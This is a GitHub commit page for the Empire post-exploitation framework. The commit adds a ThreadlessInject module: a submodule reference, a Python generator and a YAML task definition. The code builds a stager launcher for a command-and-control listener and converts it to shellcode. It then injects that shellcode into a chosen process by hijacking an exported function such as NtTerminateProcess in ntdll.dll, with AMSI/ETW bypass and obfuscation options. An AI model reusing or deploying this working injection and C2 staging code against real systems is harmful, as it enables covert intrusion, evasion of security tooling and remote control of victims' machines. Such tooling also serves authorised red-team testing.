Skip to content

Commit

Permalink
Added Threadlessinject module (EmpireProject#845)
Browse files Browse the repository at this point in the history
* added threadless inject module

* updated threadlessinject to work with empire

* added threadless inject and working module

* updated author

* updated deprecated functions

* Update ThreadlessInject.Covenant.py

fixed exception raising

* updated deprecated functions again
  • Loading branch information
Cx01N authored Jul 13, 2024
1 parent 9e57905 commit b7141b9
Show file tree
Hide file tree
Showing 6 changed files with 300 additions and 0 deletions.
3 changes: 3 additions & 0 deletions .gitmodules
Original file line number Diff line number Diff line change
Expand Up @@ -55,3 +55,6 @@
[submodule "empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/Moriarty"]
path = empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/Moriarty
url = https://github.com/BC-SECURITY/Moriarty.git
[submodule "empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/ThreadlessInject"]
path = empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/ThreadlessInject
url = https://github.com/CCob/ThreadlessInject.git
1 change: 1 addition & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
Expand Up @@ -19,6 +19,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
- Added job tracking for all tasks in Sharpire (@Cx01N)
- Updated agents to track all tasks and removed only tracking jobs (@Cx01N)
- Added Invoke-BSOD modules (@Cx01N)
- Added ThreadlessInject module (@Cx01N)

### Fixed
- Fixed issue in python agents where background jobs were failed due to a missing character (@Cx01N)
Expand Down
Binary file not shown.
Submodule ThreadlessInject added at 0c8ea4
120 changes: 120 additions & 0 deletions empire/server/modules/csharp/ThreadlessInject.Covenant.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,120 @@
from empire.server.core.exceptions import (
ModuleValidationException,
)

try:
import donut
except ModuleNotFoundError:
donut = None

import yaml

from empire.server.common import helpers
from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule


class Module:
@staticmethod
def generate(
main_menu: MainMenu,
module: EmpireModule,
params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
# staging options
listener_name = params["Listener"]
pid = params["pid"]
user_agent = params["UserAgent"]
proxy = params["Proxy"]
proxy_creds = params["ProxyCreds"]
launcher_obfuscation_command = params["ObfuscateCommand"]
language = params["Language"]
dot_net_version = params["DotNetVersion"].lower()
arch = params["Architecture"]
launcher_obfuscation = params["Obfuscate"]
export = params["ExportFunction"]
dll = params["dll"]

if not main_menu.listenersv2.get_active_listener_by_name(listener_name):
raise ModuleValidationException("[!] Invalid listener: " + listener_name)

launcher = main_menu.stagers.generate_launcher(
listener_name,
language=language,
encode=False,
obfuscate=launcher_obfuscation,
obfuscation_command=launcher_obfuscation_command,
userAgent=user_agent,
proxy=proxy,
proxyCreds=proxy_creds,
)

if not launcher or launcher == "" or launcher.lower() == "failed":
raise ModuleValidationException("[!] Invalid listener: " + listener_name)

if language.lower() == "powershell":
shellcode, err = main_menu.stagers.generate_powershell_shellcode(
launcher, arch=arch, dot_net_version=dot_net_version
)
if err:
raise ModuleValidationException(err)

elif language.lower() == "csharp":
if arch == "x86":
arch_type = 1
elif arch == "x64":
arch_type = 2
elif arch == "both":
arch_type = 3
directory = f"{main_menu.installPath}/csharp/Covenant/Data/Tasks/CSharp/Compiled/{dot_net_version}/{launcher}.exe"

if not donut:
raise ModuleValidationException(
"module donut-shellcode not installed. It is only supported on x86."
)

shellcode = donut.create(file=directory, arch=arch_type)

elif language.lower() == "ironpython":
if dot_net_version == "net35":
ModuleValidationException(
"[!] IronPython agent only supports NetFramework 4.0 and above."
)
shellcode = main_menu.stagers.generate_python_shellcode(
launcher, arch=arch, dot_net_version="net40"
)

base64_shellcode = helpers.encode_base64(shellcode).decode("UTF-8")

compiler = main_menu.pluginsv2.get_by_id("csharpserver")
if compiler.status != "ON":
raise ModuleValidationException("csharpserver plugin not running")

# Convert compiler.yaml to python dict
compiler_dict: dict = yaml.safe_load(module.compiler_yaml)
# delete the 'Empire' key
del compiler_dict[0]["Empire"]
# convert back to yaml string
compiler_yaml: str = yaml.dump(compiler_dict, sort_keys=False)

file_name = compiler.do_send_message(
compiler_yaml, module.name, confuse=obfuscate
)
if file_name == "failed":
raise ModuleValidationException("module compile failed")

script_file = (
main_menu.installPath
+ "/csharp/Covenant/Data/Tasks/CSharp/Compiled/"
+ (params["DotNetVersion"]).lower()
+ "/"
+ file_name
+ ".compiled"
)

script_end = (
f",--shellcode={base64_shellcode} --pid={pid} --dll={dll} --export={export}"
)
return f"{script_file}|{script_end}", None
175 changes: 175 additions & 0 deletions empire/server/modules/csharp/ThreadlessInject.Covenant.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,175 @@
- Name: ThreadlessInject
Aliases: []
Description: |
The program is designed to perform process injection.
Author:
Name: Ceri Coburn
Handle: Cobb
Link: https://twitter.com/_EthicalChaos_
Help:
Language: CSharp
CompatibleDotNetVersions:
- Net40
Code: |
using System;
using System.IO;
using ThreadlessInject;
public static class Task
{
public static Stream OutputStream { get; set; }
public static string Execute(string Command)
{
try
{
TextWriter realStdOut = Console.Out;
TextWriter realStdErr = Console.Error;
StreamWriter stdOutWriter = new StreamWriter(OutputStream);
StreamWriter stdErrWriter = new StreamWriter(OutputStream);
stdOutWriter.AutoFlush = true;
stdErrWriter.AutoFlush = true;
Console.SetOut(stdOutWriter);
Console.SetError(stdErrWriter);
string[] args = Command.Split(' ');
ThreadlessInject.Program.Main(args);
Console.Out.Flush();
Console.Error.Flush();
Console.SetOut(realStdOut);
Console.SetError(realStdErr);
OutputStream.Close();
return "";
}
catch (Exception e)
{
if (OutputStream != null)
{
OutputStream.Close();
}
return e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace;
}
}
}
TaskingType: Assembly
UnsafeCompile: false
TokenTask: false
Options: []
ReferenceSourceLibraries:
- Name: ThreadlessInject
Description: The program is designed to perform process injection.
Location: ThreadlessInject\
Language: CSharp
CompatibleDotNetVersions:
- Net40
ReferenceAssemblies:
- Name: System.dll
Location: net40\System.dll
DotNetVersion: Net40
- Name: System.Core.dll
Location: net40\System.Core.dll
DotNetVersion: Net40
- Name: System.Data.dll
Location: net40\System.Data.dll
DotNetVersion: Net40
- Name: mscorlib.dll
Location: net40\mscorlib.dll
DotNetVersion: Net40
- Name: System.Drawing.dll
Location: net40\System.Drawing.dll
DotNetVersion: Net40
- Name: System.Runtime.Serialization.dll
Location: net40\System.Runtime.Serialization.dll
DotNetVersion: Net40
- Name: System.Xml.dll
Location: net40\System.XML.dll
DotNetVersion: Net40
- Name: System.Xml.Linq.dll
Location: net40\System.Xml.Linq.dll
DotNetVersion: Net40
EmbeddedResources: []
ReferenceAssemblies: []
EmbeddedResources: []
Empire:
tactics: []
software: ''
techniques:
- T1055
background: true
output_extension:
needs_admin: false
opsec_safe: false
comments:
- https://github.com/3xpl01tc0d3r/ProcessInjection
options:
- name: Listener
description: Listener to use.
required: true
value: ''
- name: Language
description: Language of the stager to generate
required: true
value: powershell
strict: true
suggested_values:
- powershell
- csharp
- ironpython
- name: Obfuscate
description: Obfuscate the launcher powershell code, uses the ObfuscateCommand
for obfuscation types. For powershell only.
required: false
value: 'False'
strict: true
suggested_values:
- True
- False
- name: ObfuscateCommand
description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch
is True. For powershell only.
required: false
value: Token\All\1
- name: Bypasses
description: Bypasses as a space separated list to be prepended to the launcher.
required: false
value: 'mattifestation etw'
- name: UserAgent
description: User-agent string to use for the staging request (default, none, or
other).
required: false
value: default
- name: Proxy
description: Proxy to use for request (default, none, or other).
required: false
value: default
- name: ProxyCreds
description: Proxy credentials ([domain\]username:password) to use for request (default,
none, or other).
required: false
value: default
- name: pid
description: Specify the process id.
required: true
value: ''
- name: Architecture
description: Architecture of the .dll to generate (x64 or x86).
required: true
value: both
strict: true
suggested_values:
- x64
- x86
- both
- name: ExportFunction
description: The exported function that will be hijacked.
required: true
value: 'NtTerminateProcess'
- name: dll
description: The DLL that that contains the export to patch.
required: true
value: 'ntdll.dll'
advanced:
custom_generate: true

0 comments on commit b7141b9

Please sign in to comment.